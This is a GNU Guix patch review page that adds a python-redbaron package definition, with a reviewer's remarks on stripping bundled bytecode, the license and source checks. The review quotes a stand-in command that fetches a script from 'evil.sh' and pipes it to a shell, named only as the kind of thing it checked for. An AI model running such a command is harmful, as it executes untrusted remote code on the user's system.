diff mbox series

[bug#49123,22/24] gnu: Add python-redbaron.

Message ID 20210620010742.4259-22-0x2d@disroot.org
State New
Headers show
Series [bug#49123,01/24] gnu: Add pyotherside. | expand

Checks

Context Check Description
cbaines/comparison success View comparision
cbaines/git branch success View Git branch
cbaines/applying patch success View Laminar job
cbaines/issue success View issue

Commit Message

slg June 20, 2021, 1:07 a.m. UTC
* gnu/packages/python-xyz.scm (python-redbaron): New variable.
---
 gnu/packages/python-xyz.scm | 35 +++++++++++++++++++++++++++++++++++
 1 file changed, 35 insertions(+)

Comments

M July 15, 2021, 10:13 a.m. UTC | #1
slg via Guix-patches via schreef op za 19-06-2021 om 22:07 [-0300]:+
> +(define-public python-redbaron
> +  (package
> +    (name "python-redbaron")
> +    (version "0.9.2")
> +    (source
> +     (origin
> +       (method url-fetch)
> +       (uri (pypi-uri "redbaron" version))
> +       (sha256
> +        (base32
> +         "0bqkq0wn20cc3qrcd1ifq74p4m570j345bkq4axl08kbr8whfba7"))))
> 

"redbaron-0.9.2.tar.gz" contains some compiled code and built documentation.

Could you add (untested)

  (snippet
    #~(begin
        (for-each delete-file
                  (find-files "." (lambda (x) (string-suffix? ".pyc" x))))
        (delete-file-recursively "docs/_build"))))      

or something like that to remove it?

> +    (license license:lgpl3)))
The license is LGPLv3+, according to 'setup.py':

[...]
setup(name='redbaron',
[...]
      license='lgplv3+',

Ideally, the Sphinx documentation would be installed as well,
but there isn't good support for that yet in Guix.

Otherwise, the package definition LGTM and the source code of redbaron
doesn't seem to have an equivalent of "curl http://evil.sh | sh -c".
(Except possibly the synopsis and description. I'd need to check what
the guidelines are.)

Greetings,
Maxime.
diff mbox series

Patch

diff --git a/gnu/packages/python-xyz.scm b/gnu/packages/python-xyz.scm
index 6096ba29d1..6dd42d5455 100644
--- a/gnu/packages/python-xyz.scm
+++ b/gnu/packages/python-xyz.scm
@@ -26115,3 +26115,38 @@  process of its creation (like empty lines, comments, formatting), a FST
 keeps everything and guarantees the operation
 @code{fst_to_code(code_to_fst(source_code)) == source_code}.")
     (license license:lgpl3)))
+
+(define-public python-redbaron
+  (package
+    (name "python-redbaron")
+    (version "0.9.2")
+    (source
+     (origin
+       (method url-fetch)
+       (uri (pypi-uri "redbaron" version))
+       (sha256
+        (base32
+         "0bqkq0wn20cc3qrcd1ifq74p4m570j345bkq4axl08kbr8whfba7"))))
+    (build-system python-build-system)
+    ;;(native-inputs
+    ;; `(("python-pytest" ,python-pytest))) ;; Uncomment when tests fixed
+    (propagated-inputs
+     `(("python-baron" ,python-baron)))
+    (arguments
+     `(#:tests? #f ;; Syntax error in tests, enable when fixed
+       #:phases
+       (modify-phases %standard-phases
+         (replace 'check
+           (lambda* (#:key tests? #:allow-other-keys)
+             (when tests?
+               (invoke "pytest" "-vv" "tests/")))))))
+    (home-page "https://github.com/PyCQA/redbaron")
+    (synopsis "Tool for writing code that modifies source code")
+    (description "RedBaron is a python library and tool powerful
+enough to be used into IPython solely that intent to make the process
+of writing code that modify source code as easy and as simple as
+possible.  That include writing custom refactoring, generic refactoring,
+tools, IDE or directly modifying you source code into IPython with a
+higher and more powerful abstraction than the advanced texts
+modification tools that you find in advanced text editors and IDE.")
+    (license license:lgpl3)))